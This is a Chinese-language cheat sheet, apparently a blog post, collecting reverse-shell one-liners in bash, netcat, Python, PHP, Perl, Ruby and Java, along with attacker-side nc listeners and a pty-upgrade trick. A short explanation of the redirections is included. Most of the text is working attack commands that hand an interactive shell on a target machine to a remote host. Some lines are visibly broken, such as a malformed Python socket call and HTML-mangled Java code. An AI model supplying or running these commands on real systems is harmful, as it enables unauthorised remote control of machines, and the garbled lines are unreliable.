目标机:
bash -i >& /dev/tcp/ip/port 0>&1 //将shell反弹回相应的地址端口
本机使用nc进行监听:
nc -lvvp port //nc监听本机相应端口
搞懂原理
bash -i 打开一个交互式bash
/dev/tcp/ip/port 与指定地址端口建立TCP连接
“>&” 和 “0>&1” 是什么意思。这是Linux文件描述符和重定向。
“>&”是将标准错误输出合并到标准输出中。
如执行 bash -i >& /dev/tcp/ip/port 它会将bash的标准输出和标准错误输出发送给指定地址端口,但本机不能进行输入。
“>&”最好的理解:
0>&1是将标准输入重定向到标准输出中,这样本机就可以接收用户的输入了。
当目标机有python环境时,用得到的shell使用python可以获得一个较为完整的交互式shell。
python -c 'import pty;pty.spawn("/bin/bash")'
当目标机安装nc时,可以使用nc进行反弹shell。
本机使用nc监听端口
nc -lvvp 4444
目标机使用nc方向连接
nc -e /bin/bash ip port
如果nc不支持 -e参数,可以使用linux的管道符进行反弹
nc -lnvp 3333
nc -lnvp 4444
目标机中使用nc方向连接
nc ip 3333|/bin/bash|ip 4444
使用python反弹shell
python -c "import os,socket,subprocess;s=socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip"port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);"
目标机python执行需要反弹的地址和端口
本机使用nc监听
nc -lvvp port
php -r 'exec("/bin/bash -i >& /dev/tcp/ip/port")'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
注:php反弹shell需要php关闭safe_mode选项,才能使用exec函数。
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port>/tmp/f
exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line>&5 2>&1;done
人生漫漫其修远兮,网安无止境。
一同前行,加油!